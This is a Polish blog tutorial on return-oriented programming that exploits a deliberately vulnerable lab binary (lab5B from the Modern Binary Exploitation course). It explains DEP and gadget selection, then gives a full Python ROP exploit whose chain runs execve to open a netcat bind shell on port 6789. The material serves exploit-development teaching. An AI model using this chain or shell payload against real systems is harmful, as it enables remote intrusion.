Zamiast łamać kolejne urządzenie i oferować “rybę”, czytelnik otrzyma “wędkę” aby móc samemu wykorzystywać podatności typu Buffer Overflow.
W tym poście przedstawię praktyczne wykorzystanie techniki “Return-oriented programming“, wraz z przykładowym kodem exploita.
O co chodzi?
Od dobrych paru lat systemy operacyjne wspierają zabezpieczenie zwane Data Execution Prevention (DEP). Podstawowym założeniem tego mechanizmu jest to, że żaden segment pamięci nie może być zapisywalny i wykonywalny w tym samym momencie (oznaczane inaczej jako W^X).
Dla atakującego oznacza to, że nie może umieścić swojego shellcode’u na stosie i przekazać do niego sterowania.
Aby rozwiązać ten problem powstała technika, która wykorzystywała rezydujące w pamięci funkcje bibliotek czyli ret2libc. ROP jest udoskonaleniem tej techniki, z tą różnicą, że nie odwołuje się do istniejących funkcji bibliotecznych, a fragmentów dowolnego kodu w programie, zakończonych instrukcją ret.
Jak sprawdzić czy dana binarka jest skompilowana ze wsparciem DEP?
W codziennej pracy wykorzystuję GDB +
Ładuję daną binarkę do GDB i wydaję polecenie checksec.DEP jest oznaczony jako NX, który jak widać dla testowanej binarki jest aktywny.
W jakim scenariuszu mogę wykorzystać ROP?
Spełnionych musi być kilka warunków:
- Znaleziony błąd buffer overflow = możliwość nadpisania adresu powrotu w ramce stosu
- Oczywiście włączony DEP, czyli niewykonywalny stos (W^X)
- Brak dodatkowych mechanizmów zabezpieczania stosu, np. Stack Canaries (na powyższym screenie pozycja Canary)
- Binarka skompilowana bez wsparcia dla PIE lub system 32-bitowy z ASLR (wtedy można przeprowadzić brute-force adresów w pamięci, nie radzę próbować na 64-bitach 😉 )
Budowa exploita – Wyszukanie podatności przepełnienia bufora
Wszystkie kroki będą wykonywane na systemie Ubuntu 15.10 x86.
Podatnym programem, na który będę pisał exploita jest ćwiczenie z kursu Modern Binary Exploitation, a konkretniej binarka o nazwie lab5b.
Polecam pobranie i kompilację z przełącznikami podanymi w komentarzu. Zadaniem exploita będzie uruchomienie zdalnego shella za pomocą netcata na porcie 6789.
Program jest bardzo prosty, a jego podatność przepełnienia bufora jest oczywista i zawiera się w linijce o numerze 12 – funkcja gets() załaduje tyle znaków do bufora ile zostanie podane na standardowym wejściu.
#include <stdlib.h> #include <stdio.h> /* gcc -fno-stack-protector --static -o lab5B lab5B.c */ int main() { char buffer[128] = {0}; printf("Insert ROP chain here:\n"); gets(buffer); return EXIT_SUCCESS; }
Budowa exploita – Payload
Naszym zadaniem jest znalezienie fragmentów, które nam to umożliwią nam zbudowanie poniższego kawałka kodu.
char *execve_env[1] = {NULL}; char *execve_args[7]= { "/bin//nc", "-lnp", "6789", "-tte", "/bin//sh", NULL }; execve("/usr/bin/nc", execve_args, execve_env);
Oprócz wiedzy, co chcemy napisać, musimy również wiedzieć jak napisać, aby zadziałało – czyli znać konwencję wywołania funkcji execve() na poziomie procesora.
Chodzi o odpowiednie umieszczenie argumentów w rejestrach CPU:
- EAX = 11 – execve jest wywołanie systemowym o numerze 11
- EBX = //usr/bin//nc – ścieżka programu do uruchomienia (wskaźnik char *)
- ECX = execve_args (wskaźnik char **)
- EDX = execve_env (wskaźnik char **)
Budowa exploita – Wyszukiwanie ROP gadgets
Autorzy kursu MBE zalecają statyczną kompilację binarki, przez co liczba “ROP gagdets” dostępnych w binarce jest ogromna i bardzo łatwo jest znaleźć to czego nam potrzeba.
ROP Gagdets dostępne w binarce najszybciej można znaleźć za pomocą narzędzia ROPgadget, grepując po wynikach (jeżeli wiemy czego szukamy 😉 )
Użycie narzędzia jest bardzo proste i sprowadza się do wydania polecenia ROPgagdet –binary [ścieżka do binarki].
Patrząc na kod payloadu możemy określić potrzebne fragmenty kodu (instrukcje):
- int 0x80 – syscall potrzebny do uruchomienia funkcji execve()
- inc eax – inkrementacja EAX do wartości odpowiadającej syscallowi execve() czyli 11
- pop edx ; pop ecx ; pop ebx – ściąganie zawartości ze stosu do rejestrów
- pop eax – j/w
- pop ecx – j/w, nadmiarowy, dla przejrzystości kodu exploita
- xor eax, eax – zerowanie rejestru EAX
- mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] – wrzucanie zawartości EAX do adresu w ECX, przydatny w operacjach na pamięci (używana tylko pierwsza instrukcja)
Dodatkowo będziemy potrzebowali jeszcze trochę miejsca w pamięci (w segmencie .data) na stos naszego exploita.
Exploit
Gdy dane wejściowe są mniejsze niż bufor w programie lab5b, stos wygląda w nastepujący sposób:
Natomiast dla nas punktem wyjścia jest taki wygląd stosu:
Poniżej przedstawiam kod źródłowy gotowego exploita w Pythonie wraz z komentarzem każdej linijki kodu (w tym wypadku jest to najlepsze rozwiązanie – post i tak jest już wystarczająco długi 😉 )
from struct import pack STACK = pack("<I", 0x080EB298) # adres stosu dla exploita INT80 = pack("<I", 0x08049401) # adres instrukcji int 0x80 PUSHSTACK = pack("<I", 0x080bbe9e) # adres instrukcji mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret INCEAX = pack("<I", 0x0807b6b6) # adres instrukcji inc eax ; ret POPALL = pack("<I", 0x0806ec80) # adres instrukcji pop edx ; pop ecx ; pop ebx ; ret POPEAX = pack("<I", 0x080bbf26) # adres instrukcji pop eax ; ret POPECX = pack("<I", 0x080e55ad) # adres instrukcji pop ecx ; ret XOREAX = pack("<I", 0x080544e0) # adres instrukcji xor eax,%eax ; ret buff = "\x41" * 136 # przepełnienie bufora na stosie buff += 0x42424242 # nadpisanie zapisanego adresu EBP na stosie # ECX jako rejestr ESP stosu exploita buff += POPECX # instrukcja wrzucająca do ECX buff += STACK # ECX = adres stosu dla exploita # Wrzucenie stringa "/bin" na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '/bin' # string do wrzucenia do EAX (UWAGA: jeżeli string jest dłuższy niż 4 znaki musimy go ręcznie łączyć - nie da się wrzucić więcej niz 4 bajty do komórki stosu na raz. Komórka stosu ma taki sam rozmiar jak długość słowa dla danej architektury, czyli dla x86 ma 4 bajty) buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 4) # adres na który ma wskazywać ECX zwiększony o 4 (bo string '/bin' ma 4 znaki + łączymy łańcuchy) # Wrzucenie stringa "//nc" na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '//nc' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 9) # adres na który ma wskazywać ECX zwiększony o 5 ('//nc' + znak końca łańcucha - NULL) # Wrzucenie stringa -lnp na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '-lnp' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 14) # adres na który ma wskazywać ECX zwiększony o 5 ('-lnp' + znak końca łańcucha - NULL) # Wrzucenie stringa 6789 na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '6789' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 19) # adres na który ma wskazywać ECX zwiększony o 5 ('6789' + znak końca łańcucha - NULL) # Wrzucenie stringa -tte na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '-tte' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 24) # adres na który ma wskazywać ECX zwiększony o 5 ('-tte' + znak końca łańcucha - NULL) # Wrzucenie stringa /bin na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '/bin' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 28) # adres na który ma wskazywać ECX zwiększony o 4 ('/bin' - łączymy łańcuchy) # Wrzucenie stringa //sh na stos exploita (z wykorzystaniem rejestru EAX) buff += POPEAX # instrukcja wrzucająca do EAX buff += '//sh' # string do wrzucenia do EAX buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita) # Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 33) # adres na który ma wskazywać ECX zwiększony o 5 ('//sh' + znak końca łańcucha - NULL) # Konstrukcja tablicy argumentów buff += POPECX buff += pack("<I", 0x080EB298 + 80) # dowolny wyższy adres z segmentu .data na tablicę argumentów # Wskaźnik do pierwszego argumentu - ścieżka do binarki buff += POPEAX # instrukcja wrzucająca do EAX buff += pack("<I", 0x080EB298) # adres stringa ze ścieżką (dla nieuważnych - adres stosu exploita) buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do pierwszego elementu tablicy argumentów) # Inkrementacja wskaźnika na drugi element tablicy argumentów buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 84) # ECX = ECX + 4 # Wskaźnik do stringa '-lnp' -> tablica argumentów buff += POPEAX # instrukcja wrzucająca do EAX buff += pack("<I", 0x080EB298 + 9) # adres stringa '-lnp' buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do drugiego elementu tablicy argumentów) # Inkrementacja wskaźnika na trzeci element tablicy argumentów buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 88) # ECX = ECX + 4 # Wskaźnik do stringa '6789' -> tablica argumentów buff += POPEAX # instrukcja wrzucająca do EAX buff += pack("<I", 0x080EB298 + 14) # adres stringa '6789' buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do trzeciego elementu tablicy argumentów) # Inkrementacja wskaźnika na czwarty element tablicy argumentów buff += POPECX #instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 92) # ECX = ECX + 4 # Wskaźnik do stringa '-tte' -> tablica argumentów buff += POPEAX # instrukcja wrzucająca do EAX buff += pack("<I", 0x080EB298 + 19) # adres stringa '-tte' buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do czwartego elementu tablicy argumentów) # Inkrementacja wskaźnika na piąty element tablicy argumentów buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 96) # ECX = ECX + 4 # Wskaźnik do stringa '/bin//sh'-> tablica argumentów buff += POPEAX # instrukcja wrzucająca do EAX buff += pack("<I", 0x080EB298 + 24) # adres stringa '/bin//sh' buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do piątego elementu tablicy argumentów) # Inkrementacja wskaźnika na szósty element tablicy argumentów buff += POPECX # instrukcja wrzucająca do ECX buff += pack("<I", 0x080EB298 + 100) # ECX = ECX + 4 # Inkrementacja EAX do numeru przerwania, przygotowanie rejestrów do wywołania execve() buff += XOREAX # zerowanie rejestru EAX buff += INCEAX * 11 # 11x powtórzona instrukcja inkrementacji rejestru EAX # Przygotowanie rejestrów do wywołania execve() buff += POPALL # wrzucenie danych do rejestrów EBX, ECX, EDX za "jednym zamachem" buff += pack("<I", 0x080EB298 + 128) # dowolny adres z segmentu .data - tablica env[] = NULL - rejestr EDX buff += pack("<I", 0x080EB298 + 80) # wskaźnik na tablicę z argumentami funkcji execve() - rejestr ECX buff += pack("<I", 0x080EB298) # wskaźnik na stringa "/bin//sh" - ścieżka do programu - rejestr EBX buff += INT80 # syscall wywołujący execve() print buff
Zakończenie
Return-oriented programming jest techniką tak samo skuteczną, jak upierdliwą.
Przy dobrym wyborze ROP gadgets (wszystkie z segmentu .text) są niezależne od DEP oraz ASLR, co powoduje, że napisane exploity są bardzo stabilne i nie boją się różnego rozkładu segmentów w pamięci 🙂